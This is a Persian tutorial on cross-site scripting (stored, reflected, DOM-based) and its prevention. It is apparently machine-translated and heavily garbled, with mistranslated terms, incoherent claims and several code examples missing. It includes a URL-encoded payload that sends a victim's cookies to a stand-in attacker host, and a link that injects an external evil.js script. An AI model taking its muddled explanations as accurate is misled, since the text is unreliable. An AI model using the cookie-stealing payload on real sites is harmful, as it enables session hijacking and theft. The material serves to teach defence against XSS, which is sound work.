با استفاده از آسیب پذیری XSS به حداکثر. حملات XSS: آنها و آموزش های خطرناک XSS خطرناک هستند

از طریق XSS، مهاجمان با تجربه، به صفحات سایت های سایت مشغول به کار بر روی اسکریپت های آنها در زمان بازدید از منابع آلوده انجام می شود. انواع مختلفی از آسیب پذیری های XSS وجود دارد که نشان دهنده درجه ای متفاوت از خطر هستند.

ویژگی های آسیب پذیری منفعل و فعال

با دقت به دقت درمان آسیب پذیری فعال است. هنگامی که یک مهاجم کد SQL خود را به یک پایگاه داده مقرون به صرفه یا فایل به سرور وارد می کند، هر بازدید کننده از منابع آلوده می تواند یک قربانی باشد. چنین مکان هایی اغلب یکپارچه شده اند، بنابراین حتی داده های پردازش داده های ذخیره شده در پایگاه داده ممکن است همچنان یک خطر خاص را نشان دهند.

ایجاد یک آسیب پذیری غیر فعال XSS نیاز به مهاجم از یک نوآوری خاص دارد. یا شما بر روی یک منبع زیردریایی با انواع مراجع، یا آنها به هر راهی برای ارسال سایت مورد نیاز تلاش می کنند. این معمولا از طریق نامه ای از تجویز داستانی صفحه ای که بازدید می کنید، با درخواست هایی برای بررسی تنظیمات حساب انجام می شود. همچنین به طور فعال از انواع خبرنامه های اسپم یا پست ها در انجمن های به طور گسترده ای بازدید شده استفاده می شود.

آسیب پذیری XSS منفعل می تواند از هر دو پست و از پارامترهای دریافتی ادامه یابد. برای اولین بار، تعدادی از ترفندهای مختلف مشخص می شوند، برای دوم - کدگذاری خط URL یا قرار دادن مقادیر اضافی است.

کوکی ها آدم ربایی

اغلب، این کوکی های شما است که هدف حمله XSS هستند. گاهی اوقات اطلاعات ارزشمندی در آنها وجود دارد، از جمله ورود به سیستم های کاربر و کلمه عبور یا هش آنها. اما این به اندازه کافی خطرناک است و سرقت جلسات فعال سایت های مهم برای شما، پس فراموش نکنید که دکمه "خروجی" را حتی هنگام بازدید از سایت ها از یک کامپیوتر خانگی فشار دهید. اگر چه بیشتر منابع برای جلوگیری از چنین اقداماتی از محدودیت خودکار مدت جلسه استفاده می کنند. محدودیت های دامنه XMLHTTPREQUEST از چنین حملاتی ذخیره نمی شود.

داده ها از فرم های پر شده

Evoids محبوبیت و خواندن اطلاعات در فرم پر شده است. برای انجام این کار، در ایجاد منافع، رویدادهای در حال اجرا در حال اجرا است (Onsubmit)، و تمام داده های ارائه شده نیز به سرورهای مهاجم ارسال می شود. چنین حملاتی عمدتا شبیه به فیشینگ است، اما سرقت در تقلبی نیست، بلکه در سایت واقعی با شهرت خوب نیست.

حملات DDoS توزیع شده

برای حملات از طریق XSS، منابع چندگانه مورد استفاده قرار می گیرند. با تشکر از آسیب پذیری XSS، ارسال درخواست های حمل و نقل به آنها به سرور ترک خورده، به عنوان یک نتیجه از حفاظت از آن مقاومت نمی کند.

درخواست های تقلبی جعلی (CSRF / XSRF)

آنها همچنین با XSS کمی مشترک دارند. این یک نوع جداگانه از آسیب پذیری های مورد استفاده در ارتباط با XSS است. هدف آنها این است که یک کاربر مجاز را از یک سایت ناسازگار به یک صفحه آسیب پذیر زیردریایی برای عملیات جعلی به ارمغان بیاورد. به عنوان مثال، یک مشتری با استفاده از یک سیستم پرداخت الکترونیکی به یک سایت آسیب پذیر منتقل می شود که پول را به حساب های مزاحم منتقل می کند. بنابراین، در اکثر سیستم های پرداخت، حفاظت برای رمز عبور اضافی وارد شده یا تأیید عملیات کد را فراهم می کند.

معرفی کرم های XSS

چنین حمله XSS به سایت با توسعه شبکه های اجتماعی معروف (Vkontakte، توییتر و دیگران) ظاهر شد. از طریق آنها، گروه های کل کاربران لینک های XSS آسیب پذیر را با اسکریپت های یکپارچه دریافت می کنند که از طرف آنها شبکه های اسپم را ارسال می کنند. همچنین به طور گسترده ای تمرین کرده و از طریق اطلاعات شخصی و عکس های شخصی بر منابع مزاحم منتقل می شود.

نمونه هایی از XSS بی ضرر

توجه داشته باشید که بسیاری از انواع متر نیز نقش XSS فعال را انجام می دهند. آنها به داده های مربوط به ثبت بازدید کنندگان منتقل می شوند (آدرس های IP خود، داده ها در مورد تجهیزات مورد استفاده).

فقط این کد در رایانه شما به صورت خود ادغام می شود. به دیگر XSS مشابه، شما می توانید با خیال راحت تعدادی از پرس و جو Crossdomain AJAX را مشخص کنید.

اسکریپت متقابل سایت یا XSS اسکریپت متقابل سایت (اجرای بین المللی سناریوها).

حضور آسیب پذیری اسکریپت Cross-Site به مهاجم اجازه می دهد کد اجرایی را به سرور ارسال کند، که به مرورگر کاربر هدایت می شود. این کد معمولا در HTML / JavaScript ایجاد شده است، اما VBScript، ActiveX، جاوا، فلاش یا سایر تکنولوژی های پشتیبانی شده توسط مرورگر می تواند مورد استفاده قرار گیرد.

کد انتقال شده در زمینه امنیتی (یا منطقه امنیتی) سرور آسیب پذیر اجرا می شود. با استفاده از این امتیازات، کد توانایی خواندن، تغییر یا انتقال داده های مهم موجود با استفاده از یک مرورگر را می دهد. در کاربر حمله شده می تواند توسط Accelint (سرقت کوکی) به خطر بیفتد، مرورگر آن را می توان به سرور دیگری هدایت کرد یا محتوای سرور جایگزین شود. به عنوان یک نتیجه از یک حمله با دقت برنامه ریزی شده، مهاجم می تواند از مرورگر قربانی برای مشاهده صفحات سایت از طرف کاربر مورد حمله استفاده کند. کد را می توان توسط یک مهاجم در URL، در سرفصل ها و ساختار پروتکل پرس و جو HTTP (کوکی، عامل کاربر، refferer)، مقادیر فیلدهای فرم و غیره منتقل می شود.

سه نوع حملات وجود دارد که منجر به اجرای بینایی سناریو می شود: غیر دائمی غیر دائمی (منعکس شده) ثابت ماندگار (ذخیره شده) و DOM بر اساس. تفاوت اصلی بین مداوم و غیر مداوم این است که در نسخه منعکس شده، انتقال سرور کد و بازگشت به مشتری آن در یک درخواست HTTP تک انجام می شود و در ذخیره شده است.

پیاده سازی حمله غیر دائمی مستلزم آن است که کاربر بر روی لینک تشکیل شده توسط مهاجم تغییر کند (لینک ممکن است توسط ایمیل، ICQ، و غیره منتقل شود). در روند دانلود سایت، کد تعبیه شده در URL یا هدرهای پرس و جو به مشتری منتقل می شود و در مرورگر آن ساخته شده است.

تنوع حفظ شده آسیب پذیری زمانی رخ می دهد که کد به سرور منتقل می شود و برای مدتی ادامه دارد. محبوب ترین اهداف حملات در این مورد، انجمن ها، ایمیل با وب رابط کاربری و اتاق های گفتگو است. برای حمله، کاربر مجبور نیست از طریق لینک عبور کند، به اندازه کافی برای بازدید از سایت آسیب پذیر است.

    مثال. گزینه حمله (مداوم) ذخیره شده است. بسیاری از سایت ها دارای تابلوهای بولتن و انجمن هایی هستند که به کاربران اجازه می دهد پیام ها را ترک کنند. کاربر ثبت شده به طور معمول توسط شماره شناسایی شده است

جلسات ذخیره شده در کوکی. اگر مهاجم پیامی را شامل کد در جاوا اسکریپت باشد، دسترسی به شناسه جلسه کاربر را دریافت می کند. کد کوکی مثال:

    مثال. منعکس کننده (غیر دائمی) یک گزینه حمله. بسیاری از سرورها کاربران را قادر می سازد تا محتوای سرور را جستجو کنند. به عنوان یک قانون، درخواست به URL منتقل می شود و در صفحه نتیجه قرار دارد.

به عنوان مثال، هنگام تغییر به URL http: //portal.example/search؟ q \u003d "آبجو تازه" کاربر صفحه حاوی نتایج جستجو و عبارت: "0 صفحه بر اساس درخواست شما یافت می شود." اگر جاوا اسکریپت به عنوان یک عبارت دلخواه منتقل شود، آن را در مرورگر کاربر اجرا خواهد شد. مثال:

http: //portal.example/search/؟ q \u003d

رمزگذاری Urlencode را می توان برای مخفی کردن کد اسکریپت استفاده کرد

http: //portal.example/index.php؟ sessionID \u003d 12312312 & نام کاربری \u003d٪ 3C٪ 73٪ 63٪ 72٪ 69٪ 70٪ 74٪ 3E٪ 64٪ 6F٪ 63٪ 75٪ 65٪ 65٪ 6E٪ 74 ٪ 2E٪ 6C٪ 6F٪ 63٪ 61٪ 74٪ 69٪ 6F٪ 6F٪ 6E٪ 3D٪ 27٪ 68٪ 74٪ 74٪ 70٪ 3A٪ 2F٪ 2F٪ 61٪ 74٪ 74٪ 61٪ 63٪ 65٪ 65 65٪ 63٪ ٪ 72٪ 68٪ 68٪ 73٪ 74٪ 2E٪ 65٪ 78٪ 61٪ 65٪ 78٪ 63٪ 65٪ 2F٪ 63٪ 67٪ 69٪ 69٪ 62٪ 69٪ 69٪ 6E٪ 62٪ 63٪ 6F٪ 6F ٪ 6B٪ 69٪ 65٪ 73٪ 74٪ 65٪ 61٪ 6C٪ 2E٪ 63٪ 63٪ 67٪ 69٪ 3F٪ 27٪ 2B٪ 64٪ 62٪ 63٪ 75٪ 65٪ 65٪ 65٪ 6E٪ 74٪ 2E٪ 63 ٪ 6F٪ 6F٪ 6b٪ 69٪ 65٪ 65٪ 3C٪ 2F٪ 73٪ 63٪ 72٪ 69٪ 70٪ 74٪ 3E

فلنج دیوید جاوا اسکریپت.

گنجشک کتاب فلنگان دیوید جاوا اسکریپت کامل راهنمای 5 نسخه.

واژه Scripting Scripting Cross-Site (Cross "Scripting Site)، یا XSS، زمانی که مهاجم تگ های HTML یا اسکریپت ها را به اسناد در وب سایت آسیب پذیر معرفی می کند، به منطقه آسیب پذیری رایانه اشاره می کند. سازمان حفاظت در برابر حملات XSS - یک چیز رایج برای WebBuardries مشغول به کار است در ایجاد سناریوهای سرور. با این حال، برنامه نویسان توسعه دهنده اسکریپت های جاوا اسکریپت مشتری نیز باید در مورد حملات XSS نیز بدانند و اقدامات لازم را برای محافظت در برابر آنها انجام دهند.

صفحه وب آسیب پذیر به حملات XSS در نظر گرفته شده است، در صورتی که به صورت پویا محتویات یک سند را بر اساس داده های کاربر ایجاد کند که پردازش اولیه را برای حذف کد HTML ساخته نشده است. به عنوان مثال بی اهمیت، صفحه وب زیر را که از اسکریپت جاوا اسکریپت استفاده می کند را در نظر بگیرید تا از کاربر به نام کاربر خوش آمدید:

در خط دوم اسکریپت، روش window.location.search.substring نامیده می شود، که بخشی از نوار آدرس بازیابی می شود، از نماد شروع می شود؟ سپس، با استفاده از روش document.write ()، یک سند سند تولید شده به صورت پویا اضافه شده است. این اسکریپت نشان می دهد که دسترسی به صفحه وب تقریبا چنین آدرس URL ساخته خواهد شد:

http://www.example.com/greet.html؟name\u003ddavid

در این مورد، متن "Hi David" نمایش داده خواهد شد. اما چه اتفاقی می افتد اگر صفحه از آدرس URL بعدی درخواست شود:

http://www.example.com/greet.html؟name\u003d٪3cscript٪3eaLert ("دیوید ')٪ 3C / Script٪ 3E.

با چنین محتوایی، اسکریپت آدرس نشانی اینترنتی به صورت پویا یک اسکریپت دیگر را تولید می کند (کدهای٪ 3C و٪ 3E براکت های زاویه ای)! در این مورد، اسکریپت وارد شده به سادگی یک کادر محاوره ای را نشان می دهد که هیچ خطری را نشان نمی دهد. اما تصور کنید چنین پرونده:

http: //sitea/greet.html نام \u003d٪ 3cscript src \u003d siteb / evil.js٪ 3E٪ 3C / Script٪ 3E

اسکریپت متقابل سایت این است که بیش از یک سایت در این حمله شرکت می کند. سایت B (یا حتی C سایت C) شامل یک لینک مخصوص طراحی شده (شبیه به نمایش داده شده فقط نشان داده شده است) به سایت A، که شامل یک اسکریپت از سایت B. evil.js اسکریپت در وب سایت مهاجم B واقع شده است، اما در حال حاضر این سناریو به نظر می رسد که در سایت A اجرا می شود و می تواند همه چیز را که با محتویات سایت خوشحال است انجام دهد. او می تواند صفحه را پاک کند یا نقض های دیگر را در سایت سایت (به عنوان مثال، از حفظ حفظ کند، همانطور که در بخش بعدی شرح داده شده است). این ممکن است بر بازدیدکنندگان سایت تاثیر بگذارد. بسیار خطرناک تر است که چنین سناریو مخرب می تواند محتویات کوکی ها را که در سایت A (احتمالا حاوی شماره های حساب یا سایر اطلاعات شخصی ذخیره می شود) را بخوانند و این اطلاعات را به سایت بفرستند . یک اسکریپت جاسازی شده ممکن است حتی کلید های کلیدی را پیگیری کند و این اطلاعات را به سایت B ارسال کند.

روش جهانی پیشگیری از XSSS، حذف تگ های HTML از تمام داده های منشاء مشکوک قبل از استفاده از آنها به صورت پویا محتوای سند را ایجاد می کند. برای اصلاح این مشکل در فایل قبلا نشان داده شده greet.html، شما باید خط بعدی را به اسکریپت اضافه کنید، که برای حذف براکت های گوشه اطراف برچسب طراحی شده است". هر کاربر که از صفحه بازدید کرد، اکنون پاسخ زیر را دریافت خواهد کرد:


آخرین نظر:

هنگامی که مرورگر کاربر صفحه را بارگذاری می کند، همه چیز را انجام می دهد، از جمله کد جاوا اسکریپت موجود در داخل برچسب ها . این نشان می دهد که حضور ساده اسکریپت اجرا شده توسط مهاجم یک مشکل است، صرف نظر از آن کد اسکریپت خاص در واقع اجرا می شود.

قسمت دوم: XSS-Attack

XSS به شرکت کنندگان حمله می کند

قبل از توصیف نحوه توصیف جزئیات، چگونه حمله XSS کار می کند، ما باید موضوعات حمله XSS را شناسایی کنیم. به طور کلی، در حمله XSS سه شرکت کننده وجود دارد: سایت اینترنتی, قربانی، من. سارق.

  • سایت اینترنتی صفحات HTML را برای کاربرانی که آنها را درخواست کرده اند، می دهد. در نمونه های ما، آن را در http: // وب سایت /.
    • پایگاه داده وب سایت این یک پایگاه داده است که برخی از داده های وارد شده توسط کاربران را در صفحات سایت ذخیره می کند.
  • قربانی - این یک کاربر معمولی از یک وب سایت است که صفحات را با مرورگر خود درخواست می کند.
  • هجوم بردن - این یک مهاجم است که قصد دارد از طریق استفاده از آسیب پذیری XSS در سایت، حمله به قربانی را آغاز کند.
    • سرور Surglar - این یک سرور وب تحت کنترل مهاجم با هدف تنها - سرقت اطلاعات قربانی محرمانه است. در نمونه های ما، آن را در http: // مهاجم /.

حمله سناریو مثال

این اسکریپت یک درخواست HTTP را به URL دیگری ایجاد می کند که مرورگر کاربر را به سرور مهاجم هدایت می کند. URL شامل کوکی های قربانی به عنوان یک پارامتر پرس و جو زمانی که یک درخواست HTTP به سرور مهاجم می آید، مهاجم می تواند این کوکی ها را از درخواست استخراج کند. پس از آنکه مهاجم کوکی ها را دریافت کرد، می تواند از آنها برای دادن قربانی خود استفاده کند و یک حمله بعدی را آغاز کند.

از این نقطه بر روی کد HTML نشان داده شده در بالا نامیده می شود رشته مخرب یا اسکریپت مخرب. مهم است بدانیم که رشته خود تنها مخرب است اگر در نهایت به عنوان یک کد HTML در مرورگر قربانی پردازش می شود، و این ممکن است تنها زمانی رخ دهد که آسیب پذیری XSS در وب سایت موجود است.

این مثال چگونه کار می کند

طرح زیر نمونه ای از یک حمله توسط مهاجم را نشان می دهد:

  1. مهاجم از یکی از اشکال وب سایت استفاده می کند تا یک رشته مخرب را به پایگاه داده وب سایت وارد کند.
  2. قربانی از صفحه از وب سایت می پرسد.
  3. این سایت شامل یک رشته مخرب از پایگاه داده در پاسخ است و آن را به قربانی ارسال می کند.
  4. مرورگر قربانی یک سناریوی مخرب در پاسخ را انجام می دهد و قربانیان را به سرور مهاجم ارسال می کند.

انواع XSS

هدف از حمله XSS همیشه در انجام یک اسکریپت جاوا اسکریپت مخرب در مرورگر قربانی است. چندین روش اساسی برای رسیدن به این هدف وجود دارد. حملات XSS اغلب به سه نوع تقسیم می شوند:

  • ذخیره شده (دائمی) XSSجایی که رشته مخرب از پایگاه داده وب سایت حاصل می شود.
  • منعکس شده (غیر دائمی) XSSجایی که رشته مخرب از درخواست قربانی تولید می شود.
  • مدل XSS DOMجایی که آسیب پذیری در کد در سمت مشتری رخ می دهد، و نه در کنار کد سرور.

در مثال قبلی، حمله XSS ذخیره شده نشان داده شده است. در حال حاضر ما دو نوع دیگر از XSS حملات را توصیف می کنیم: XSS و XSS-Attack Models DOM را منعکس می کنند.

منعکس کننده XSS

در مورد یک حمله XSS منعکس شده، یک رشته مخرب بخشی از درخواست قربانی به وب سایت است. این سایت دریافت می کند و این رشته مخرب را به کاربر ارسال شده به کاربر ارسال می کند. طرح زیر این اسکریپت را نشان می دهد:

  1. قربانی تقلبی به درخواست URL به وب سایت ارسال می کند.
  2. این سایت شامل یک رشته مخرب از پرس و جو URL در پاسخ به قربانی است.
  3. مرورگر قربانی یک سناریوی مخرب موجود در پاسخ را انجام می دهد و قربانیان را به سرور مزاحم ارسال می کند.

چگونه با موفقیت یک حمله XSS منعکس شده را انجام دهیم؟

حمله XSS منعکس شده ممکن است به نظر بی ضرر به نظر برسد، زیرا از نام او به قربانیان نیاز دارد تا درخواست حاوی یک رشته مخرب را ارسال کند. از آنجا که هیچ کس به طور داوطلبانه به خود حمله نمی کند، به نظر می رسد که هیچ راهی برای اجرای واقعی حمله وجود ندارد.

همانطور که معلوم می شود، حداقل دو روش مشترک برای ایجاد قربانی برای شروع یک حمله XSS منعکس شده علیه خود وجود دارد:

  • اگر کاربر یک شخصیت خاص باشد، مهاجم می تواند یک URL مخرب را به قربانی (به عنوان مثال، با استفاده از ایمیل یا مسنجر) ارسال کند، و فریب دادن آن را مجبور به باز کردن لینک برای بازدید از وب سایت.
  • اگر یک هدف یک گروه بزرگ از کاربران باشد، مهاجم می تواند یک پیوند به یک URL مخرب (به عنوان مثال، در وب سایت خود و یا در یک شبکه اجتماعی) منتشر کند و منتظر بازدیدکنندگان باشد که به لینک بروند.

هر دو این روش ها مشابه هستند، و هر دو ممکن است با استفاده از خدمات به "کوتاه کردن" URL موفق تر باشند، آنها رشته های مخرب را از کاربران که می توانند آن را شناسایی کنند، پنهان می کنند.

XSS در مدل DOM

XSS در مدل DOM یک گزینه به عنوان یک حمله XSS ذخیره شده و منعکس شده است. در این حمله XSS، رشته مخرب توسط مرورگر قربانی پردازش نمی شود، تا زمانی که جاوا اسکریپت واقعی وب سایت اجرا شود. طرح زیر این اسکریپت را برای حملات منعکس شده XSS نشان می دهد:

  1. مهاجم یک URL حاوی یک رشته مخرب ایجاد می کند و آن را به قربانی می فرستد.
  2. قربانی تقلب شده توسط مهاجم درخواست URL را به وب سایت ارسال می کند.
  3. این سایت یک درخواست را دریافت می کند، اما در پاسخ یک رشته مخرب را شامل نمی شود.
  4. مرورگر قربانی یک اسکریپت قانونی موجود در پاسخ را انجام می دهد، زیرا نتیجه آن اسکریپت مضر به صفحه وارد می شود.
  5. مرورگر قربانی یک اسکریپت مخرب را که به صفحه وارد شده است، ارسال می کند، کوکی های قربانی را به سرور مزاحم ارسال می کند.
تفاوت بین XSS در مدل DOM چیست؟

در نمونه های قبلی حملات XSS ذخیره شده و منعکس شده، سرور یک اسکریپت مخرب را به صفحه وارد می کند، که سپس در پاسخ به قربانی ارسال می شود. هنگامی که مرورگر قربانی پاسخی دریافت کرد، فرض می کند که اسکریپت مخرب بخشی از محتوای مشروع صفحه است و به طور خودکار آن را در طول بارگذاری صفحه، و همچنین هر سناریو دیگر انجام می دهد.

در مثال از حملات XSS در مدل DOM، اسکریپت مخرب به عنوان بخشی از صفحه وارد نمی شود؛ تنها اسکریپت است که به طور خودکار اجرا می شود در طول بار بار یک بخش مشروع از صفحه است. مشکل این است که این سناریوی مشروع به طور مستقیم از ورود کاربر به منظور اضافه کردن HTML به صفحه استفاده می کند. از آنجا که رشته مخرب به صفحه با استفاده از InnerHTML وارد می شود، آن را به عنوان HTML مورد تجزیه و تحلیل قرار می گیرد، به عنوان یک نتیجه از آن اسکریپت مضر انجام می شود.

این تمایز کوچک است، اما بسیار مهم است:

  • در XSS سنتی، جاوا اسکریپت مخرب زمانی که صفحه بارگذاری می شود، به عنوان بخشی از HTML ارسال شده توسط سرور انجام می شود.
  • در مورد XSS در مدل DOM، جاوا اسکریپت مخرب پس از بارگیری صفحه انجام می شود، به عنوان یک نتیجه، این صفحه با یک جاوا اسکریپت مشروع به عنوان یک راه ناامن برای ورودی کاربر (حاوی یک رشته مخرب) نامیده می شود.
XSS چگونه در مدل DOM کار می کند؟

در مثال قبلی، نیازی به جاوا اسکریپت وجود ندارد؛ سرور می تواند تمام HTML را به تنهایی تولید کند. اگر کد در سمت سرور حاوی آسیب پذیری نیست، وب سایت به آسیب پذیری XSS نمی رسد.

با این حال، از آنجا که برنامه های کاربردی وب پیشرفته تر می شوند، مقدار فزاینده ای از صفحات HTML با استفاده از جاوا اسکریپت بر روی سمت مشتری تولید می شود و نه بر روی سرور. در هر زمان، محتوا باید بدون به روز رسانی کل صفحه تغییر کند، ممکن است با استفاده از جاوا اسکریپت امکان پذیر باشد. به طور خاص، این مورد زمانی است که صفحه پس از پرس و جو AJAX به روز می شود.

این به این معنی است که آسیب پذیری های XSS ممکن است نه تنها در قسمت سرور کد سایت شما، بلکه در کنار کد جاوا اسکریپت مشتری سایت شما حضور داشته باشند. در نتیجه، حتی با یک کد کاملا امن در سمت سرور، کد مشتری هنوز می تواند با خیال راحت برای ورود به اطلاعات کاربر هنگام به روز رسانی DOM پس از دانلود صفحه، فعال شود. اگر این اتفاق می افتد، کد از مشتری اجازه می دهد حمله XSS خطا از کد از طرف سرور نیست.

XSS بر اساس مدل DOM می تواند به سرور نامرئی باشد

یک مورد خاص از حملات XSS در یک مدل DOM وجود دارد که در آن یک رشته مخرب هرگز به سرور وب سایت ارسال نمی شود: این اتفاق می افتد زمانی که رشته مخرب در بخش شناسه URL موجود است (چیزی پس از نماد #). مرورگرها این قسمت از URL را به سرور ارسال نمی کنند، بنابراین وب سایت به استفاده از کد در سمت سرور دسترسی ندارد. با این وجود، کد از مشتری، به آن دسترسی دارد و بنابراین ممکن است یک حمله XSS توسط پردازش ناامن انجام شود.

این مورد محدود به شناسه قطعه نیست. همچنین یک ورودی کاربر دیگر که به سرور نامرئی است، به عنوان مثال، توابع جدید HTML5، مانند LocalStorage و IndexedDB وجود دارد.

قسمت سوم:
پیشگیری از XSS

روش های پیشگیری از XSS

به یاد بیاورید که XSS یک حمله از نوع استقرار کد است: کاربر وارد شده توسط کاربر به طور اشتباه به عنوان یک کد برنامه مخرب تفسیر شده است. به منظور جلوگیری از این نوع تزریق کد، پردازش ورودی امن مورد نیاز است. برای یک توسعه دهنده وب، دو روش اساسی برای انجام پردازش ورودی ایمن وجود دارد:

  • برنامه نویسی - این یک راه است که به شما اجازه می دهد تا داده ها را فقط به عنوان داده وارد کنید و اجازه پردازش مرورگر را به عنوان کد اجازه ندهید.
  • اعتبار سنجی - این روش ورودی کاربر را فیلتر می کند تا مرورگر آن را به عنوان یک کد بدون دستورات مخرب تفسیر کند.

اگر چه این روش های اساسا متفاوت از جلوگیری از XSS هستند، آنها دارای چندین ویژگی کلی هستند که برای درک هر یک از آنها مهم هستند:

پردازش ورودی امن متن باید بسته به جایی که ورودی کاربر در صفحه استفاده می شود متفاوت باشد. پردازش ورودی ورودی / خروجی امن می تواند انجام شود یا زمانی که سایت شما داده های ورودی را دریافت می کند (ترافیک ورودی) یا به طور مستقیم قبل از اینکه سایت ورودی سفارشی را به محتوای صفحه (خروجی) وارد کند. پردازش ورودی مشتری / سرور را می توان در سمت سرویس گیرنده یا در سمت سرور انجام داد، هر گزینه در شرایط مختلف لازم است.

قبل از توضیح جزئیات چگونگی کارکرد برنامه نویسی و اعتبار، هر یک از این موارد را توصیف می کنیم.

پردازش ورودی کاربر در زمینه ها

زمینه های بسیاری در یک صفحه وب وجود دارد که در آن ورودی سفارشی می تواند اعمال شود. قوانین ویژه باید برای هر یک از آنها ملاقات شود تا ورودی کاربر نمی تواند از زمینه آن "شکستن" را از بین ببرد و نمی تواند به عنوان یک کد مخرب تفسیر شود. در زیر شایع ترین زمینه ها هستند:

معنای زمینه چیست؟

در همه زمینه های شرح داده شده، آسیب پذیری که منجر به XSS می شود ممکن است رخ دهد اگر کاربر وارد شده توسط کاربر به اولین رمزگذاری یا اعتبار سنجی وارد شده باشد. یک مهاجم می تواند یک کد مخرب را به سادگی وارد یک جداساز بسته شدن برای این زمینه و پس از آن کد مخرب است.

به عنوان مثال، اگر در برخی از موارد، وب سایت شامل ورود اطلاعات توسط کاربر به طور مستقیم به ویژگی HTML، مهاجم قادر به اجرای یک اسکریپت مخرب با شروع ورودی نقل قول خود را به عنوان زیر نشان داده شده است:

این می تواند مانع شود، به سادگی حذف تمام نقل قول ها در ورودی کاربر، و همه چیز خوب خواهد بود، اما تنها در این زمینه. اگر ورودی به یک زمینه دیگر وارد شود، جداساز بسته شدن متفاوت خواهد بود و تزریق ممکن است. به همین دلیل، پردازش ورودی امن باید همیشه با زمینه ای که ورودی کاربر وارد شود، سازگار باشد.

پردازش ورودی ورودی / خروجی ورودی

غریزی، ممکن است به نظر می رسد که XSS را می توان با استفاده از برنامه نویسی یا اعتبار کل ورودی کاربر جلوگیری کرد، به محض دریافت سایت ما آن را دریافت کرد. بنابراین، هر گونه خطوط مخرب هر زمان که در صفحه گنجانده شده، خنثی شود و اسکریپت های نسل HTML مجبور به مراقبت از پردازش امن ورود کاربر نیستند.

مشکل این است که همانطور که قبلا توسط کاربر وارد شده توسط کاربر آمده است می تواند به چندین زمینه در صفحه وارد شود. و هیچ راهی ساده برای تعیین زمانی که ورودی کاربر در زمینه می آید وجود ندارد - همانطور که در نهایت وارد می شود، و همان ورودی کاربر باید اغلب در زمینه های مختلف قرار داده شود. با تکیه بر پردازش ورودی ورودی برای جلوگیری از XSS، ما یک راه حل بسیار شکننده ایجاد می کنیم که به اشتباهات مربوط می شود. (Outdated "نقل قول سحر و جادو" PHP نمونه ای از چنین راه حل است.)

در عوض، پردازش ورودی خروجی باید خط حفاظت اصلی شما از XSS باشد، زیرا می تواند زمینه خاصی را در نظر بگیرد، که کاربر وارد شده توسط کاربر وارد می شود. تا حدودی، اعتبار ورودی را می توان برای اضافه کردن یک لایه حفاظت ثانویه استفاده کرد، اما بعدا این.

جایی که امکان انجام پردازش ورودی کاربر امن وجود دارد

در اکثر برنامه های کاربردی وب مدرن، ورود کاربر هر دو در کنار کد سرور و در سمت کد مشتری پردازش می شود. به منظور محافظت در برابر انواع XSS، پردازش ورودی امن باید هر دو را در کد در سمت سرور و سمت کد مشتری اجرا شود.

  • به منظور محافظت در برابر XSS سنتی، پردازش ورودی امن باید در کد در سمت سرور انجام شود. این کار با یک زبان پشتیبانی شده توسط سرور انجام می شود.
  • به منظور محافظت در برابر حمله XSS در مدل DOM، جایی که سرور هرگز یک رشته مخرب را دریافت نمی کند (به عنوان مثال، حمله قبلا توصیف شده از طریق قطعه شناسه)، پردازش ورودی امن باید در کد در سمت مشتری انجام شود. این کار با جاوا اسکریپت انجام می شود.

در حال حاضر، هنگامی که ما توضیح دادیم که چرا زمینه مهم است، چرا تفاوت بین پردازش ورودی ورودی و خروجی مهم است، و چرا پردازش ورودی امن باید در هر دو طرف ساخته شود، و در سمت مشتری و در سمت سرور، ما می توانیم به توضیح ادامه دهیم چگونه دو نوع پردازش ورودی امن (رمزگذاری و اعتبار سنجی) در واقع انجام می شود.

برنامه نویسی

برنامه نویسی یک راه خروج از وضعیت زمانی است که لازم است که مرورگر ورود کاربر تنها به عنوان داده ها تفسیر شود و نه کد. محبوب ترین نوع برنامه نویسی در توسعه وب، HTML مخفی سازی است که شخصیت هایی مانند < و > که در < و > به ترتیب.

Pseudocode زیر نمونه ای از نحوه استفاده از کاربر وارد شده توسط کاربر (سفارشی وارد شده) می تواند با استفاده از ماسک HTML رمزگذاری شود و سپس با استفاده از سناریوی سرور وارد صفحه شود:

چاپ " "
چاپ. "آخرین نظر:"
چاپ encodehtml (userinput)
چاپ ""

اگر کاربر وارد خط زیر شود در نتیجه HTML به نظر می رسد:


آخرین نظر:

از آنجا که تمام نمادها با مقادیر ویژه مخفی شده بودند، مرورگر هیچ بخشی از ورودی کاربر را به عنوان HTML جدا نمی کند.

کد کدگذاری در سمت مشتری و سرور

هنگام رمزگذاری کد کدگذاری کد از مشتری، یک زبان جاوا اسکریپت همیشه استفاده می شود، که دارای توابع داخلی است که داده ها را برای زمینه های مختلف رمزگذاری می کند.

هنگام انجام کدگذاری در کد خود در سمت سرور، به ویژگی های موجود در زبان یا چارچوب خود متکی هستید. با توجه به تعداد زیادی از زبان ها و چارچوب های موجود، این آموزش جزئیات کدگذاری را در هر سرور یا چارچوب خاص پوشش نمی دهد. با این وجود، توابع رمزگذاری جاوا اسکریپت مورد استفاده در سمت سرویس گیرنده نیز هنگام نوشتن کد در سمت سرور استفاده می شود.

کدگذاری بر روی سمت مشتری

هنگام رمزگذاری یک ورودی مشتری سفارشی با استفاده از جاوا اسکریپت، چندین روش داخلی و خواصی وجود دارد که به طور خودکار تمام داده ها را به سبک وابسته به متنی رمزگذاری می کنند:

آخرین زمینه که قبلا ذکر شد (مقادیر در جاوا اسکریپت) در این لیست گنجانده نشده است، زیرا جاوا اسکریپت یک روش رمزگذاری داده های داخلی را ارائه نمی دهد که در کد منبع جاوا اسکریپت فعال می شود.

محدودیت های رمزگذاری

حتی زمانی که رمزگذاری آن امکان استفاده از خطوط مخرب در برخی زمینه ها وجود دارد. یک مثال روشن از این زمانی است که ورود کاربر برای ارائه URL، به عنوان مثال، در مثال زیر استفاده می شود:

document.queryselector ("a"). href \u003d userInput

اگر چه مقدار مشخص شده در اموال عنصر HREF به طور خودکار آن را رمزگذاری می کند به طوری که آن را بیشتر از مقدار ویژگی نمی شود، این به خودی خود را با مهاجم دخالت نمی کند وارد یک URL با شروع "جاوا اسکریپت:". هنگامی که روی لینک کلیک میکنید، صرف نظر از ساخت و ساز، جاوا اسکریپت داخلی ساخته شده در داخل URL اجرا خواهد شد.

Coding نیز یک راه حل موثر نیست، زمانی که کاربران می خواهند از بخشی از کد های HTML در صفحه استفاده کنند. یک مثال صفحه پروفایل کاربر است، جایی که کاربر می تواند از HTML کاربر استفاده کند. اگر این HTML معمولی کدگذاری شده باشد، صفحه نمایه قادر به تشکیل تنها متن ساده خواهد بود.

در چنین شرایطی، برنامه نویسی باید با اعتبار سنجی که ما بیشتر بدانیم، تکمیل شود.

اعتبار سنجی

